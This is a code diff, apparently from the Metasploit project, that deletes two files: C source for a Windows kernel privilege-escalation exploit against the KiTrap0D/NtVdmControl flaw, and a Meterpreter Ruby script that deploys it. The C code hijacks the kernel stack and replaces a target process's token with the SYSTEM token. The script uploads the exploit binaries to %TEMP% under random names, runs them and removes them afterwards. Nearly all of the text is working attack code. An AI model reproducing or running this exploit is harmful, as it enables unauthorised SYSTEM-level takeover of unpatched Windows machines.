-VOID FirstStage() -{ - FARPROC DbgPrint; - FARPROC PsGetCurrentThread; - FARPROC PsGetCurrentProcessId; - FARPROC PsGetCurrentThreadStackBase, PsGetCurrentThreadStackLimit; - FARPROC PsLookupProcessByProcessId; - FARPROC PsReferencePrimaryToken; - FARPROC ZwTerminateProcess; - PVOID CurrentProcess; - PVOID CurrentThread; - PVOID TargetProcess, *PsInitialSystemProcess; - DWORD StackBase, StackLimit, NewStack; - DWORD i; - LIST_ENTRY *ThreadListHead; - HANDLE pid; - HANDLE pret; - - // Keep interrupts off until I've repaired my KTHREAD. - __asm cli - - // Resolve some routines I need from the kernel export directory - DbgPrint = KernelGetProcByName("DbgPrint"); - PsGetCurrentThread = KernelGetProcByName("PsGetCurrentThread"); - PsGetCurrentThreadStackBase = KernelGetProcByName("PsGetCurrentThreadStackBase"); - PsGetCurrentThreadStackLimit = KernelGetProcByName("PsGetCurrentThreadStackLimit"); - PsInitialSystemProcess = KernelGetProcByName("PsInitialSystemProcess"); - PsLookupProcessByProcessId = KernelGetProcByName("PsLookupProcessByProcessId"); - PsReferencePrimaryToken = KernelGetProcByName("PsReferencePrimaryToken"); - ZwTerminateProcess = KernelGetProcByName("ZwTerminateProcess"); - - CurrentThread = (PVOID) PsGetCurrentThread(); - StackLimit = (DWORD) PsGetCurrentThreadStackLimit(); - StackBase = (DWORD) PsGetCurrentThreadStackBase(); - - //DbgPrint("FirstStage() Loaded, CurrentThread @%p Stack %p - %p\n", - // CurrentThread, - // StackBase, - // StackLimit); - - NewStack = StackBase - ((StackBase - StackLimit) / 2); - - // First I need to repair my CurrentThread, find all references to my fake kernel - // stack and repair them. Note that by "repair" I mean randomly point them - // somewhere inside the real stack. - - // Walk only the offsets that could possibly be bad based on testing, and see if they need - // to be swapped out. O(n^2) -> O(c) wins the race! - for (i = 0; i < sizeof(ethreadOffsets) / sizeof (DWORD); i++) { - CheckAndReplace((((PDWORD) CurrentThread)+ethreadOffsets[i]), - (DWORD) &KernelStackPointer[0], - (DWORD) &KernelStackPointer[KernelStackSize - 1], - (DWORD) NewStack); - } - - - // Find the EPROCESS structure for the process I want to escalate - if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) { - PACCESS_TOKEN SystemToken; - PACCESS_TOKEN TargetToken; - - // What's the maximum size the EPROCESS structure is ever likely to be? - CONST DWORD MaxExpectedEprocessSize = 0x200; - - // DbgPrint("PsLookupProcessByProcessId(%u) => %p\n", TargetPid, TargetProcess); - //DbgPrint("PsInitialSystemProcess @%p\n", *PsInitialSystemProcess); - - // Find the Token object for my target process, and the SYSTEM process. - TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess); - SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess); - - //DbgPrint("PsReferencePrimaryToken(%p) => %p\n", TargetProcess, TargetToken); - //DbgPrint("PsReferencePrimaryToken(%p) => %p\n", *PsInitialSystemProcess, SystemToken); - - // Find the token in the target process, and replace with the system token. - FindAndReplaceMember((PDWORD) TargetProcess, - (DWORD) TargetToken, - (DWORD) SystemToken, - MaxExpectedEprocessSize, - TRUE); - // Success - pret = 'w00t'; - } else { - // Maybe the user closed the window? - // Report this failure - pret = 'LPID'; - } - - __asm { - mov eax, -1 // ZwCurrentProcess macro returns -1 - mov ebx, NewStack - mov ecx, pret - mov edi, ZwTerminateProcess - mov esp, ebx // Swap the stack back to kernel-land - mov ebp, ebx // Swap the frame pointer back to kernel-land - sub esp, 256 - push ecx // Push the return code - push eax // Push the process handle - sti // Restore interrupts finally - call edi // Call ZwTerminateProcess - __emit 0xCC; // Hope we never end up here - } -} - -// Search the specified data structure for a member with CurrentValue. -BOOL FindAndReplaceMember(PDWORD Structure, - DWORD CurrentValue, - DWORD NewValue, - DWORD MaxSize, - BOOL ObjectRefs) -{ - DWORD i, Mask; - - // Microsoft QWORD aligns object pointers, then uses the lower three - // bits for quick reference counting (nice trick). - Mask = ObjectRefs ? ~7 : ~0; - - // Mask out the reference count. - CurrentValue &= Mask; - - // Scan the structure for any occurrence of CurrentValue. - for (i = 0; i < MaxSize; i++) { - if ((Structure[i] & Mask) == CurrentValue) { - // And finally, replace it with NewValue. - Structure[i] = NewValue; - return TRUE; - } - } - - // Member not found. - return FALSE; -} - -BOOL CheckAndReplace(PDWORD checkMe, DWORD rangeStart, DWORD rangeEnd, DWORD value) { - if (*checkMe >= rangeStart && *checkMe <= rangeEnd) { - *checkMe = value; - return TRUE; - } else { - return FALSE; - } -} - -// Find an exported kernel symbol by name. -PVOID KernelGetProcByName(PSTR SymbolName) -{ - PUCHAR ImageBase; - PULONG NameTable; - PULONG FunctionTable; - PUSHORT OrdinalTable; - PIMAGE_EXPORT_DIRECTORY ExportDirectory; - PIMAGE_DOS_HEADER DosHeader; - PIMAGE_NT_HEADERS PeHeader; - DWORD i; - - ImageBase = (PUCHAR) KernelHandle; - DosHeader = (PIMAGE_DOS_HEADER) ImageBase; - PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew); - ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + PeHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); - - // Find required tablesa from the ExportDirectory. - NameTable = (PULONG)(ImageBase + ExportDirectory->AddressOfNames); - FunctionTable = (PULONG)(ImageBase + ExportDirectory->AddressOfFunctions); - OrdinalTable = (PUSHORT)(ImageBase + ExportDirectory->AddressOfNameOrdinals); - - // Scan each entry for a matching name. - for (i = 0; i < ExportDirectory->NumberOfNames; i++) { - PCHAR Symbol = ImageBase + NameTable[i]; - - if (strcmp(Symbol, SymbolName) == 0) { - // Symbol found, return the appropriate entry from FunctionTable. - return (PVOID)(ImageBase + FunctionTable[OrdinalTable[i]]); - } - } - - // Symbol not found, this is likely fatal :-( - return NULL; -} - -// Exploit entrypoint. -BOOL APIENTRY DllMain(HMODULE Module, DWORD Reason, LPVOID Reserved) -{ - CONST DWORD MinimumExpectedVdmTibSize = 0x200; - CONST DWORD MaximumExpectedVdmTibSize = 0x800; - - FARPROC NtVdmControl; - DWORD KernelStack[KernelStackSize]; - DWORD Ki386BiosCallReturnAddress; - CHAR Pid[32], Off[32], Krn[32]; - struct { - ULONG Size; - PVOID Padding0; - PVOID Padding1; - CONTEXT Padding2; - CONTEXT VdmContext; - DWORD Padding3[1024]; - } VdmTib; - - FillMemory(&VdmTib, sizeof VdmTib, 0); - FillMemory(&KernelStack, sizeof KernelStack, 0); - - // - // XXX: Windows 2000 forces the thread to exit with 0x80 if Padding3 is filled with junk. - // With a buffer full of NULLs, the exploit never finds the right size. - // This will require a more work to resolve, for just keep the padding zero'd - - - // Parent passes parameters via environment variables. - // - // - VDM_TARGET_PID - // Pid of the process to transplant a SYSTEM token onto. - // - VDM_TARGET_OFF - // Offset from ntoskrnl of Ki386BiosCallReturnAddress. - // - VDM_TARGET_KRN - // Ntoskrnl base address. - - GetEnvironmentVariable("VDM_TARGET_PID", Pid, sizeof Pid); - GetEnvironmentVariable("VDM_TARGET_KRN", Krn, sizeof Krn); - GetEnvironmentVariable("VDM_TARGET_OFF", Off, sizeof Off); - - NtVdmControl = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl"); - TargetPid = strtoul(Pid, NULL, 0); - - // Setup the fake kernel stack, and install a minimal VDM_TIB, - KernelStackPointer = KernelStack; - KernelStack[0] = (DWORD) &KernelStack[8]; // Esp - KernelStack[1] = (DWORD) NtCurrentTeb(); // Teb - KernelStack[2] = (DWORD) NtCurrentTeb(); // Teb - KernelStack[7] = (DWORD) FirstStage; // RetAddr - KernelHandle = (HMODULE) strtoul(Krn, NULL, 0); - VdmTib.Size = MinimumExpectedVdmTibSize; - *NtCurrentTeb()->Reserved4 = &VdmTib; - - // Initialize the VDM Subsystem. - InitializeVdmSubsystem(); - - VdmTib.Size = MinimumExpectedVdmTibSize; - VdmTib.VdmContext.SegCs = 0x0B; - VdmTib.VdmContext.Esi = (DWORD) &KernelStack; - VdmTib.VdmContext.Eip = strtoul(Krn, NULL, 0) + strtoul(Off, NULL, 0); - VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK; - *NtCurrentTeb()->Reserved4 = &VdmTib; - - // Allow thread initialization to complete. Without is, there is a chance - // of a race in KiThreadInitialize's call to SwapContext - Sleep(1000); - - // Trigger the vulnerable code via NtVdmControl(). - while (VdmTib.Size++ < MaximumExpectedVdmTibSize) { - NtVdmControl(VdmStartExecution, NULL); - } - - // Unable to find correct VdmTib size. - ExitThread('VTIB'); -} - -// Setup a minimal execution environment to satisfy NtVdmControl(). -BOOL InitializeVdmSubsystem() -{ - FARPROC NtAllocateVirtualMemory; - FARPROC NtFreeVirtualMemory; - FARPROC NtVdmControl; - PBYTE BaseAddress; - ULONG RegionSize; - static DWORD TrapHandler[128]; - static DWORD IcaUserData[128]; - static struct { - PVOID TrapHandler; - PVOID IcaUserData; - } InitData; - - NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtAllocateVirtualMemory"); - NtFreeVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtFreeVirtualMemory"); - NtVdmControl = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl"); - BaseAddress = (PVOID) 0x00000001; - RegionSize = (ULONG) 0x00000000; - InitData.TrapHandler = TrapHandler; - InitData.IcaUserData = IcaUserData; - - // Remove anything currently mapped at NULL - NtFreeVirtualMemory(GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE); - - BaseAddress = (PVOID) 0x00000001; - RegionSize = (ULONG) 0x00100000; - - // Allocate the 1MB virtual 8086 address space. - if (NtAllocateVirtualMemory(GetCurrentProcess(), - &BaseAddress, - 0, - &RegionSize, - MEM_COMMIT | MEM_RESERVE, - PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) { - ExitThread('NTAV'); - return FALSE; - } - - // Finalise the initialisation. - if (NtVdmControl(VdmInitialize, &InitData) != STATUS_SUCCESS) { - ExitThread('VDMC'); - return FALSE; - } - - return TRUE; -} - diff --git a/scripts/meterpreter/kitrap0d.rb b/scripts/meterpreter/kitrap0d.rb deleted file mode 100644 index 652891bf8b..0000000000 --- a/scripts/meterpreter/kitrap0d.rb +++ /dev/null @@ -1,99 +0,0 @@ -# $Id$ - -# -# Meterpreter script for exploiting the KiTrap0D flaw -# using Tavis Ormandy's PoC -# - -session = client - -# -# Options -# -opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"] -) - - -# -# Option parsing -# -opts.parse(args) do |opt, idx, val| - case opt - when "-h" - print_line(opts.usage) - raise Rex::Script::Completed - end -end - - -# Exec a command and return the results -def m_exec(session, cmd) - r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) - b = "" - while(d = r.channel.read) - b << d - end - r.channel.close - r.close - b -end -if client.platform =~ /win32|win64/ - # Handle exceptions in the getuid() call - begin - print_status("Currently running as " + client.sys.config.getuid) - print_line("") - rescue ::Rex::Post::Meterpreter::RequestError - end - - print_status("Loading the vdmallowed executable and DLL from the local system...") - based = ::File.join(Msf::Config.install_root, "data", "exploits", "kitrap0d") - exp = ::File.join(based, "vdmallowed.exe") - dll = ::File.join(based, "vdmexploit.dll") - - expdata = "" - ::File.open(exp, "rb") do |fd| - expdata = fd.read(fd.stat.size) - end - - dlldata = "" - ::File.open(dll, "rb") do |fd| - dlldata = fd.read(fd.stat.size) - end - - tempdir = client.fs.file.expand_path("%TEMP%") - tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - print_status("Uploading vdmallowed to #{tempexe}...") - fd = client.fs.file.new(tempexe, "wb") - fd.write(expdata) - fd.close - - tempdir = client.fs.file.expand_path("%TEMP%") - tempdll = tempdir + "\\" + "vdmexploit.dll" - print_status("Uploading vdmallowed to #{tempdll}...") - fd = client.fs.file.new(tempdll, "wb") - fd.write(dlldata) - fd.close - - server = client.sys.process.open - - print_status("Escalating our process (PID:#{server.pid})...") - print_line("") - - tempdrive = tempdir.split(':')[0] - data = m_exec(client, "cmd.exe /c #{tempdrive}: & cd \"#{tempdir}\" & #{tempexe} #{server.pid}") - print_line(data) - - print_status("Deleting files...") - client.fs.file.rm(tempexe) - client.fs.file.rm(tempdll) - - # Handle exceptions in the getuid() call - begin - print_status("Now running as " + client.sys.config.getuid) - rescue ::Rex::Post::Meterpreter::RequestError - end -else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end